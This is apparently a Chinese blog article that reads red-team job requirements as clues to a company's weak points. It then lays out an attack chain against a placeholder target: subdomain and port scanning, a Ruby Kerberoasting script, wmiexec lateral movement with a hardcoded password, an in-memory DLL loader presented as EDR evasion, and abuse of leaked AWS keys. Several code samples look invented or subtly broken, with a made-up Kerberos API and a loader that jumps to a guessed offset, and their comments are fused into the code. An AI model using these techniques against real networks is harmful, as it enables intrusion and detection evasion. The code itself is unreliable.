一、从红队的招聘信息窥探企业架构安全问题
在红队招聘信息中，常常会看到对某些技能的明确要求，比如熟悉域渗透、具备免杀工具开发能力、或者C2架构搭建经验。这些看似简单的关键词，实际上透露了企业在架构设计中的安全薄弱点。企业为什么要招聘红队？很可能是因为他们的安全团队已经意识到自己在某些环节无法对抗攻击者，测试、防御和响应能力需要进一步加强。
从我的研究经验来看，招聘信息能反映出攻防博弈的焦点。例如，如果明确要求「理解AD域环境的攻击与防御」，那么这家公司可能存在复杂的域控制器部署，而攻击者会将目标锁定为域内的关键资产。本文将从红队技能需求切入，深度剖析企业架构中的安全问题，并展示如何利用这些技能实施完整的攻击链。
---
二、真实案例：从招聘需求到攻击链构建
招聘信息中的暗示
某互联网公司的红队招聘中提到以下能力要求：
- 熟悉域渗透及横向移动
- 掌握C2工具搭建，如Cobalt Strike
- 能够开发免杀Payload，并绕过主流EDR检测
- 熟悉云环境安全，包括AWS、Azure和GCP
这些关键词直接揭示了几个潜在攻击点：
- 域渗透与横向移动：目标公司可能存在多层域架构，横向移动是红队模拟APT攻击的重要环节。
- C2工具的使用：指向攻击者需要隐蔽地控制目标系统，说明公司可能关注过过往APT活动中C2流量的行为。
- 免杀与对抗：企业可能部署了主流EDR解决方案，但对抗经验不足。
- 云环境安全：现代化企业大量应用云服务，云端资源逐渐成为新的攻击突破口。
信息收集与环境搭建
假设我们以此公司为目标进行红队测试，第一步是收集公开信息，包括基础架构、域名、子域、员工信息、以及可能的技术栈。通过招聘信息，可以推测出该公司可能采用了混合云架构（本地数据中心 + 云服务），并且内部有域控制器和EDR部署。
信息收集代码示例： <pre><code class="language-shell"># 自动化收集子域名 subfinder -d targetcompany.com -o subdomains.txt
使用Amass进一步扩展枚举
amass enum -d targetcompany.com -o subdomains_extended.txt
确定目标开放端口（假设有敏感云服务暴露）
nmap -p80,443,3389,8080 -iL subdomains_extended.txt -oN ports_scan.txt</code></pre>
通过上述过程，我们可以获得以下信息：
- 公司内部域名：
internal.targetcompany.com - 开放端口：443（HTTPS）、3389（RDP）
- 其他公开信息：招聘中的技术栈暗示公司可能使用了Azure AD和AWS EC2集群。
---
三、从AD域到权限提升：攻击链深度剖析
偷窥域架构
在招聘需求中明确提及“域渗透”，这表明公司可能使用了Windows Active Directory（AD）进行身份验证和资源管理。AD环境通常是红队的攻击重点，因为一旦控制了域控制器，企业所有用户、设备和资源都将暴露在攻击者面前。
通过信息收集阶段获取到的内部域名和开放端口，我们可以尝试构建攻击链。例如利用Kerberos协议中经典的Kerberoasting技术窃取服务账户的密码哈希，从而提升权限。
Kerberoasting攻击代码（Ruby实现）： <pre><code class="language-ruby">require 'kerberos'
def execute_kerberoasting(domain, user, password)
初始化Kerberos客户端
client = Kerberos::Client.new(domain, user, password)
获取TGT（Ticket-Granting Ticket）
tgt = client.get_tgt
获取所有SPN（服务主体名称）
spns = client.enum_spns spns.each do |spn| puts "[*] SPN found: #{spn}"
请求服务票据，获取加密的密码哈希
ticket = client.request_ticket(spn) hash = ticket.extract_hash puts "[+] Hash for SPN #{spn}: #{hash}" end end
运行攻击
execute_kerberoasting("internal.targetcompany.com", "testuser", "password123")</code></pre>
权限提升与横向移动
获取到服务账户的密码哈希后，可以使用暴力破解工具（如Hashcat）还原明文密码。一旦获得高权限账户，攻击者可以通过WMI或PowerShell脚本在域内横向移动。
横向移动代码示例： <pre><code class="language-shell"># 使用WMI执行远程命令 wmiexec.py domain/admin:'password123'@target-server.internal.targetcompany.com "powershell.exe -command {Get-Process}"</code></pre>
通过这种方式，我们可以在域内访问其他设备，并进一步寻找域控制器的访问权限。
---
四、免杀与对抗：绕过EDR的艺术
绕过EDR
招聘中提到免杀Payload开发，这表明公司可能对攻击者的载荷有一定的检测和对抗能力。这通常意味着他们部署了较为流行的EDR解决方案，如CrowdStrike、Carbon Black或SentinelOne。为了绕过这些检测系统，可以尝试以下方法：
- 自定义Loader：避免使用公开的Payload生成器。
- 内存级加载：减少磁盘IO痕迹。
- 动态API解析：规避静态分析。
免杀反射式DLL载入代码示例： <pre><code class="language-ruby">require 'win32/api'
def reflective_dll_load(dll_path)
加载DLL到内存
data = File.read(dll_path)
反射加载DLL
kernel32 = Win32::API.new('VirtualAlloc', 'LLLLL', 'L', 'kernel32') addr = kernel32.call(nil, data.length, 0x1000 | 0x2000, 0x40)
memcpy = Win32::API.new('RtlMoveMemory', 'PLL', 'V', 'kernel32') memcpy.call(addr, data, data.length)
entry_point = addr + 0x1000 # 假设偏移量 thread = Win32::API.new('CreateThread', 'LLLLLLLL', 'L', 'kernel32') thread.call(nil, 0, entry_point, addr, 0, nil) end
调用免杀加载
reflective_dll_load("payload.dll")</code></pre>
通过这种方式，我们可以实现免杀的内存加载攻击，避开静态和行为监控。
---
五、云环境中的隐蔽攻击
如果公司使用了AWS或Azure环境，攻击者可以尝试利用公开的访问密钥或IAM角色进行资源控制。例如，针对AWS环境，可以使用工具如aws-cli或Pacu进行渗透。
AWS密钥滥用代码示例： <pre><code class="language-shell"># 使用泄露的访问密钥枚举资源 aws configure set aws_access_key_id AKIAEXAMPLEKEY aws configure set aws_secret_access_key SECRETEXAMPLEKEY aws ec2 describe-instances --region us-east-1</code></pre>
成功获取云资源后，可以尝试滥用S3、RDS等存储服务进行数据窃取或破坏。
---
六、红队技能的职业化思考
通过分析红队招聘信息，我们可以看到企业对高级攻击技能的需求，以及这些技能在实际攻防中的重要性。作为红队成员，不仅要掌握攻击技术，还需要了解如何将攻击链与企业的安全架构结合，提出建设性的防御优化建议。
最后，红队不仅是“破坏者”，更是企业安全的“推动者”。每次授权攻击测试，都是一次发现问题的机会，也是一次让企业变得更强的契机。